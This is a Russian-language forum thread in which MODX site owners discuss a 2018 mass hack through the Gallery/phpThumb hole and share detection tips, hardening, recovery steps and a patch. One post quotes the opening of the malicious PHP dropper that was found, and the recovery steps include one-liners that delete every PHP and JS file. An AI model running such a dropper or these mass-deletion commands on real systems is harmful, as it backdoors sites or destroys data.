Взлому подвержены практически все сайты. Уже пишут и о взломах на последней версии MODX-2.6.5
Хотя на моих сайтах после обновления взлома не было еще замечено, но это скорее всего вопрос набора установленных на сайте компонентов.
Перепроверьте все свои сайты. Взломанных сайтов реально очень много (кто-то хорошо к этому подготовился и наладил конвейер). Если сайта не взломаны, сделайте обязательно бекап. Если взломан, вот одна из инструкций по восстановлению:
в базе данных следов деятельности не было замечено. php заражены не все, поэтому обновление MODX-а должно зачистить php-заразу (но только на уровне системных файлов). В корне сайта и в некоторых вложенных папках появляются зараженные php-файлы (бэкдоры). Но JS перетерты вообще все были.
На мой взгляд самый простой вариант восстановления: восстанавливаться из бэкапа (чтобы полностью файлы был восстановлены и новые удалены), и после этого обновить MODX.
На самом деле поведение вируса на разных сайтах имеют отличия. Где-то JS заражены, где-то нет. И наборы создаваемых файлов бывают разные. Но в целом общих признаков очень много.
В общем, лучше не затягивать с этим делом.
UPD: С учетом того, что реальной заплатки на сегодня нет еще (во всяком случае говорят и о взломах на 2.6.5), советую: после восстановления сайта перевести все папки и файлы в режим read-only (то есть на чтение). Проще всего это сделать по ssh такими командами:
find -type d -print0 |xargs -0 chmod 0550
find -type f -print0 |xargs -0 chmod 0440
Первой командой мы находим все папки и выставляем права 0550, второй 0660 на файлы. Если у вас неверно настроены права на сервере и процесс не является владельцем файлов или в группе, то могут понадобиться права 0555 и 0444 соответственно. На корневую папку тоже надо поставить права 0550, чтобы в нее ничего не писалось.
Смысл в том, чтобы даже при наличии уязвимости и удаленного выполнения команд, процесс не смог записать вредоносный код в сайт.
Но на некоторые папки надо поставить права на запись, иначе сайт не будет работать, или работать частично.
1. core/cache само собой. При этом после выставления на нее прав записи удалите все содержимое, или дайте права на запись на все содержимое этой папки (иначе MODX просто не сможет сбросить кеш).
И еще раз проверьте, что запросы на /core/ закрыты извне.
2. Если у вас используется modxSmarty, права на запись надо дать и на папку core/components/modxsmarty/ (там тоже есть свои папки кеша для шаблонизации).
Есть еще папки типа assets/components/phpthumbof/cache/, но на них пока нельзя давать права на запись, так как папка assets открыта для запросов. Побочный эффект: не смогут создаваться превьюшки, но уже имеющиеся файлы кеша будут доступны, а для отсутствующих по идее должна выводиться просто оригинальная картинка.
Это, конечно, не панацея, но в чем-то снизить риски должна. А когда выйдут надежные заплатки, можно будет снизить меры.
UPD2: Практически на всех сайтах в папке assets/images/ (и в нее вложенных) лежат зараженные php-файлы (хотя часто во многих других папках assets/ ничего такого нет). Явный признак того, что атака заточена именно под MODX.
UPD3: Полезная команда для поиска последних модифицированных файлов: find -type f -mtime -3 -not -path "./cache/*"
В данном случае ищет новые и модифицированные файлы за последние 3 дня, исключая папку cache (для примера).
К сожалению, часто эта команда бесполезна, потому что многие скрипты модифицируют даты создаваемых файлов, выставляя более поздние даты.
Не раз выручал мониторинг файловой системы.
Мониторинг - это определение симптомов. К сожалению, далеко не все бэкапами обзаводятся. И когда мониторинг скажет, что сайт заражен, без бэкапов будет тяжело восстановиться.
Жестко очень... Если на сервере недостаточно хорошо настроены политики (open_basedir для сайтов, отдельные права и т.п.), то через любой такой сайт заражаются все сайты на сервере.
Николай, здравствуйте, не смог восстановить старый аккаунт. Угроза действительно серьезная, у нас около 9 пострадавших сайтов, правда все почему-то на 2.5.х и 5.4-5.6. php. Обнаружили в пятницу, вирус спит, а потом заменяет содержимое всех .js файлов (сайт начинает на фишинговые и рекламные сайты редиректить) детектится просто, смотрим index.php на наличие подозрительных @include и других отличий от стандартного, а также наличия файлов index.php в папках где их не должно быть (assets, core/packages и т.д.).
2.5.1-pl тоже ломануть могли?
" Мониторинг " - Список измененных файлов приходит на почту. Весьма удобно, не искать , а сразу знать куда влезли.
Одна из самых крупных катастроф с MODx Revo в истории?
>> " Мониторинг " - Список измененных файлов приходит на почту. Весьма удобно, не искать , а сразу знать куда влезли.
Вот у меня только на одном из сайтов заменено содержимое более 2000 файлов. И чего мониторинг тут даст? Только одно: оперативное уведомление на счет того, что что-то на сайте изменилось. Но в восстановлении не поможет. Для восстановления очень полезен git. Конечно, бэкапы тоже очень помогают, но они не показывают что же было изменено. А git и поможет восстановить, и покажет где что изменилось (конечно же с учетом настроек .gitignore).
>>> Одна из самых крупных катастроф с MODx Revo в истории?
Не, было уже раньше, правда больше на Эво. Я думаю, дело в том, что технологии (и пропускная способность сети возросла сильно), и количество сайтов на MODX. Тем более, как тут же и говорят, вирус спал. То есть неделю (а то и больше) он просто заражал все, и только потом показался. Получилось эффектненько.
<<< детектится просто, смотрим index.php на наличие подозрительных @include и других отличий от стандартного, а также наличия файлов index.php в папках где их не должно быть (assets, core/packages и т.д.).
На некоторых сайтах лишних и инфецированных файлов были замечено больше тысячи. Если бэкап есть, то замечательно. Если нет бэкапа, но восстанавливать сайт как-то надо, можно сделать так:
с учетом того, что не было замечено заразы в базе данных, если у вас сайт делался просто на уровне MODX-овых шаблонов, сниппетов и ченков, то делаем так:
1. Делаем бэкап текущего сайта. Даже с вирусами, это все равно бэкап.
2. Сохраняем отдельно файл-конфиг core/config/config.inc.php
3. Удаляем на сайте все php-файлы. find -regex .*\.php -print0 | xargs -0 rm
Если JS-файлы тоже были заражены, их тоже надо удалить find -regex .*\.js -print0 | xargs -0 rm
4. Закидываем конфиг-файл обратно.
5. Накатываем и обновляем MODX.
6. В управлении компонентами переустанавливаем имеющиеся компоненты.
В большинстве случаев, даже если вы использовали какие-то сторонние js-библиотеки или типа того, их не составит труда найти в сети и залить на сайт.
Спасибо за инструкции. Жизненно необходимая информация, если бэков не было. Я частью, буквально за неделю сделал свежие бэки. Там вроде все чисто, тфу тфу)
Поэтому решил полностью переутсановить сервер и выложить копии с моментальным обновлением до 2.6.5. Более эффективного метода не существует)
>> Более эффективного метода не существует)
Если уязвимость на сайте есть, то переустановка сервера особо не поможет. Здесь же речь не о уязвимости на уровне серверов, а именно об уязвимости на уровне сайтов. Я сделал так:
1. На уровне nginx отключил все сайты. То есть сами конфиги лежат в /etc/nginx/sites-available, а на подключенные сайты симлинки на них в /etc/nginx/site-enabled.
2. По одному вычищаю сайты и подключаю. При этом в каждый прописываю fastcgi_param PHP_VALUE open_basedir="/www/site_path/"; , то есть изоляция процессов в рамках конкретной директории.
Это не гарантирует отсутствие последующих взломов, но так зараза из взломанного сайта не распространится на другие. Таким образом легче будет проанализировать природу взлома, да и последствия меньше.
Кажется я нашел на своем сервере самый старый вредоносный файл. Появился 19-го числа (большинство же взломов было зафиксировано с 20-го числа).
assets/components/gallery/cache/_var_www_vhosts_{sitename}_.b7e3a964094cfe6e29fc9228bad6e7b2.php
С таким содержимым:
$s=$_SERVER['DOCUMENT_ROOT'].'/assets/';$s1=$s.'images/';$fh=fopen($s1.'accesson.php','w');fwrite($fh,'<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90.......
На вид очень похоже на то, что именно через этот файл и осуществлялся взлом, то есть уязвимость действительно в gallery была.
Нашел такой же файл:
assets/components/gallery/cache/_var_www_vhosts_{sitename}_.b7e3a964094cfe6e29fc9228bad6e7b2.php
Но взлома или какой другой активности не было замечено.
Взломы последней версии могли быть из-за Gallery. На текущий момент безопасная версия MODX - 2.6.5, безопасная версия Gallery - 1.7.1. Все доступно в репозиториях, нужно только вовремя обновиться и не затягивать с этим.
Да, у меня со вчера после обновления повторных взломов пока не замечено.
Есть простой патч, конкретно против этой уязвимости в начало 2-х файлов прописать.
//connectors/system/phpthumb.php
//fstr patch CVE-2018-1000207
if(isset($_POST["cache_filename"]) && strpos($_POST["cache_filename"],".php") ) die();
//assets/components/gallery/connector.php
//fstr patch2 CVE-2018-1000207
if(isset($_POST["action"]) && $_POST["action"] =="web/phpthumb" && isset($_POST["f"]) && (strtolower($_POST["f"])=="php") ) die();
Мой сайт взломали как раз 20 июля. Появились левые php в assets/images и в public_html, все скрипты в папке assets/js приобрели одинаковый малый размер... В общем, все как вы и описали. Восстановил из бэкапа, благо месяц назад делал. Проапгрейдил до версии MODX-2.6.5, перенес core на уровень выше... Вопрос такой: при создании бэкапа хостер автоматически всем папкам выставляет атрибут 700, а файлам 600. Нужно ли менять? И не понял, команду find -type d -print0 |xargs -0 chmod 0550 из командной строки какой программы писать? И 0 - первая цифра атрибута - это для какой программы? В файловом менеджере хостера пишется просто 700, 600...
core нет смысла переносить выше. Надо только запретить обращение к ней извне (чтобы запросы на core не могли слать). Здесь запросы идут на assets и connectors, их имеет смысл переименовать. Только надо симлинки для картинок настроить, чтобы 404-ых не схватить.
>> find -type d -print0 |xargs -0 chmod 0550
Это по ssh выполняется одной командой. find -type d -print0 находит все папки. -print0 здесь - учет пробелов в названиях файлов. |xargs - указывает, что с найденными файлами надо выполнить следующие за ним команды, в нашем случае смену прав. -0 здесь работает в паре с -print0 и тоже устанавливает учет пробелов в именах файлов.
Но пока на обновленных сайтах новых взломов не было, может и не стоит столь сложную операцию делать (настраивать права на файлы), иначе могут возникнуть сбои в работе сайта.
И да, права выставляются хостером по умолчанию. Если все работает, то значит так и надо.
Нашёл файлик core/components/model/modx/processors/system/config.js.php - читать не даёт, весит значительно меньше исходника. У кого ещё так?
Да, у меня там тоже пачка файлов, все с датой изменения и временем одинаковым.
